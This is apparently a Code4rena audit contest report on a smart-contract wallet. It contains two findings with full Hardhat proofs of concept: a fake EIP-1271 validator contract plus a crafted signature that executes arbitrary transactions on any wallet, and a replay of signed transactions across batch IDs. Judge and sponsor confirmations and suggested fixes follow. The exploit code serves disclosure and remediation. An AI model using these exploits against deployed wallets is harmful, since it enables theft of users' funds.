Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 40/105
Findings: 2
Award: $172.14
🌟 Selected for report: 0
🚀 Solo Findings: 0
22.7235 USDC - $22.72
On SmartAccount.sol
logic to handle contract signatures there is no validation of which contracts are allowed to sign the transaction. Therefore an attacker can deploy a contract that validades all signatures sent to it and then craft a signature that points to this contract and pass this signature to execTransaction()
. This allows the attacker to execute arbitrary transactions on any smart wallet.
Consider the following series of steps
pragma solidity 0.8.12; contract FakeValidator { function isValidSignature( bytes memory _data, bytes memory _signature ) public pure returns (bytes4) { return 0x20c13b0b; //EIP1271_MAGIC_VALUE } }
let signature = ( "0x000000000000000000000000" + fakeValidator.address.slice(2) // r = contract address cast to 32bytes + "0000000000000000000000000000000000000000000000000000000000000041" // s = 65 + "00" // v = 0 + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements + "000000000000000000000000000000000000000000000000000000000000000000" // dummy bytes to pass requirements );
execTransaction()
with any tx she wants using the above signature on any smart wallet.For the complete POC, add FakeValidator contract above to "contracts/smart-contract-wallet/FakeValidator.sol" and then run the following test.
import { expect } from "chai"; import { ethers } from "hardhat"; import { encodeTransfer } from "./testUtils"; import { SafeTransaction, Transaction, FeeRefund, buildSafeTransaction, } from "../../src/utils/execution"; describe("POC", function () { it("Craft Signature", async function () { //Setup let accounts = await ethers.getSigners(); let alice = await accounts[0].getAddress(); let eve = await accounts[2].getAddress(); const BaseImplementation = await ethers.getContractFactory("SmartAccount"); let baseImpl = await BaseImplementation.deploy(); await baseImpl.deployed(); const WalletFactory = await ethers.getContractFactory("SmartAccountFactory"); let walletFactory = await WalletFactory.deploy(baseImpl.address); await walletFactory.deployed(); const EntryPoint = await ethers.getContractFactory("EntryPoint"); let entryPoint = await EntryPoint.deploy(); await entryPoint.deployed(); const MockToken = await ethers.getContractFactory("MockToken"); let token = await MockToken.deploy(); await token.deployed(); const DefaultHandler = await ethers.getContractFactory( "DefaultCallbackHandler" ); let handler = await DefaultHandler.deploy(); await handler.deployed(); await token.mint(alice, ethers.utils.parseEther("1000000")); const wallet_address = await walletFactory.getAddressForCounterfactualWallet( alice, 0 ); await walletFactory.deployCounterFactualWallet( alice, entryPoint.address, handler.address, 0 ) let userSCW = await ethers.getContractAt( "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", wallet_address ); await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); // Eve (attacker) deploy her own contract signer. const FakeValidator = await ethers.getContractFactory("contracts/smart-contract-wallet/FakeValidator.sol:FakeValidator"); let fakeValidator = await FakeValidator.deploy(); await fakeValidator.deployed(); // Eve's tx setup to transfer the wallet tokens to herself const safeTx: SafeTransaction = buildSafeTransaction({ to: token.address, data: encodeTransfer(eve, ethers.utils.parseEther("10").toString()), nonce: await userSCW.getNonce(0), }); const transaction: Transaction = { to: safeTx.to, value: safeTx.value, data: safeTx.data, operation: safeTx.operation, targetTxGas: safeTx.targetTxGas, }; const refundInfo: FeeRefund = { baseGas: safeTx.baseGas, gasPrice: safeTx.gasPrice, tokenGasPriceFactor: safeTx.tokenGasPriceFactor, gasToken: safeTx.gasToken, refundReceiver: safeTx.refundReceiver, }; // Craft signature let signature = ( "0x000000000000000000000000" + fakeValidator.address.slice(2) // r + "0000000000000000000000000000000000000000000000000000000000000041" // s + "00" // v + "000000000000000000000000000000000000000000000000000000000000000000" + "000000000000000000000000000000000000000000000000000000000000000000" + "000000000000000000000000000000000000000000000000000000000000000000" + "000000000000000000000000000000000000000000000000000000000000000000"); // Sends tx to wallet await expect( userSCW.connect(accounts[3]).execTransaction( transaction, 0, refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); // Verify that tokens were transferred expect(await token.balanceOf(eve)).to.equal( ethers.utils.parseEther("10") ); }); });
Please consider adding a whitelist to restrict which contracts can validade txs during execTransaction()
and reverts if _signer
not in whitelist.
#0 - c4-judge
2023-01-17T07:59:00Z
gzeon-c4 marked the issue as duplicate of #175
#1 - c4-sponsor
2023-01-25T23:50:29Z
livingrockrises marked the issue as sponsor confirmed
#2 - livingrockrises
2023-01-26T00:06:14Z
#476 is not duplicate of this issue.
#3 - c4-judge
2023-02-10T12:28:22Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: Tointer
Also found by: 0xdeadbeef0x, HE1M, Haipls, Koolex, PwnedNoMore, Tricko, V_B, csanuragjain, orion, peakbolt, ro, romand, taek
149.4204 USDC - $149.42
Due to the use of a mapping of nonces, instead of a single one, on certain cases transaction replay is possible.
For example, in the first tx of each batchId the actual nonce used is 0. But in the nonces mapping there are on the order of 2^256 nonces values that equals 0 (as they are all initiliazed to 0), therefore from a practical point of view an attacker can replay this first transaction as many times they want.
This vulnerability is more broader as it can works to replay entire series of batched txs or any contiguous subset of batched txs that starts from nonces[batchId] == 0
. On special circustances it can also be used to replay specific transactions. Anytime that there is a "collision" between two nonces[batchId]
, an attacker can exploit this to replay that tx and any following tx on that batchId.
For simplicity, consider the following attack for the first tx of any batchId
.
batchId
value where nonces[batchId] == 0
(For the first tx of each batch, there are many batchId
that satisfy ( nonces[batchId] == 0
), so Eve can replay this tx how many times she wants).import { expect } from "chai"; import { ethers } from "hardhat"; import { encodeTransfer } from "./testUtils"; import { SafeTransaction, Transaction, FeeRefund, safeSignMessage, buildSafeTransaction, } from "../../src/utils/execution"; describe("POC", function () { it("Replay Tx", async function () { //Setup let accounts = await ethers.getSigners(); let alice = await accounts[0].getAddress(); let bob = await accounts[1].getAddress(); let eve = await accounts[2].getAddress(); const BaseImplementation = await ethers.getContractFactory("SmartAccount"); let baseImpl = await BaseImplementation.deploy(); await baseImpl.deployed(); const WalletFactory = await ethers.getContractFactory("SmartAccountFactory"); let walletFactory = await WalletFactory.deploy(baseImpl.address); await walletFactory.deployed(); const EntryPoint = await ethers.getContractFactory("EntryPoint"); let entryPoint = await EntryPoint.deploy(); await entryPoint.deployed(); const MockToken = await ethers.getContractFactory("MockToken"); let token = await MockToken.deploy(); await token.deployed(); const DefaultHandler = await ethers.getContractFactory( "DefaultCallbackHandler" ); let handler = await DefaultHandler.deploy(); await handler.deployed(); await token.mint(alice, ethers.utils.parseEther("1000000")); const wallet_address = await walletFactory.getAddressForCounterfactualWallet( alice, 0 ); await walletFactory.deployCounterFactualWallet( alice, entryPoint.address, handler.address, 0 ) let userSCW = await ethers.getContractAt( "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", wallet_address ); //Alice sends tokens to the wallet await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); // Alice tx setup to transfer 10 tokens to Bob. const safeTx: SafeTransaction = buildSafeTransaction({ to: token.address, data: encodeTransfer(bob, ethers.utils.parseEther("10").toString()), nonce: await userSCW.getNonce(0), }); const transaction: Transaction = { to: safeTx.to, value: safeTx.value, data: safeTx.data, operation: safeTx.operation, targetTxGas: safeTx.targetTxGas, }; const refundInfo: FeeRefund = { baseGas: safeTx.baseGas, gasPrice: safeTx.gasPrice, tokenGasPriceFactor: safeTx.tokenGasPriceFactor, gasToken: safeTx.gasToken, refundReceiver: safeTx.refundReceiver, }; const chainId = await userSCW.getChainId(); const { signer, data } = await safeSignMessage( accounts[0], userSCW, safeTx, chainId ); let signature = "0x"; signature += data.slice(2); //2. Alice sends authentic tx to the wallet await expect( userSCW.connect(accounts[0]).execTransaction( transaction, 0, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); //3. Eve copies the tx info availiable on-chain (transaction, refundInfo, signature) // and sends it own replay tx choosing any other nonces[batchId] that matches the nonce alice used. // For the first tx of each batchId, the nonce will be 0, therefore from a practical point of view // there are infinitely many nonces[batchId] that will match, so Eve can choose any batchId != 0. await expect( userSCW.connect(accounts[3]).execTransaction( transaction, 2023, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); // Eve can replay this tx how many times she desires chossing different batchId. await expect( userSCW.connect(accounts[3]).execTransaction( transaction, 1337, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); // Verify that Bob received 3 txs instead of 1. expect(await token.balanceOf(bob)).to.equal( ethers.utils.parseEther("30") ); }); });
Consider removing the possibility of sending "parallel" batched transactions, therefore a single nonce can be used. Or consider also including the batchId
value to the txHashData
, making the txHash
different even if nonce[batchIdA] == nonce[batchIdB]
#0 - c4-judge
2023-01-17T07:03:22Z
gzeon-c4 marked the issue as duplicate of #485
#1 - livingrockrises
2023-01-19T22:35:54Z
confirmed duplicate of primary issue #485
#2 - c4-sponsor
2023-01-19T22:36:10Z
livingrockrises marked the issue as sponsor confirmed
#3 - c4-judge
2023-02-10T12:34:45Z
gzeon-c4 marked the issue as satisfactory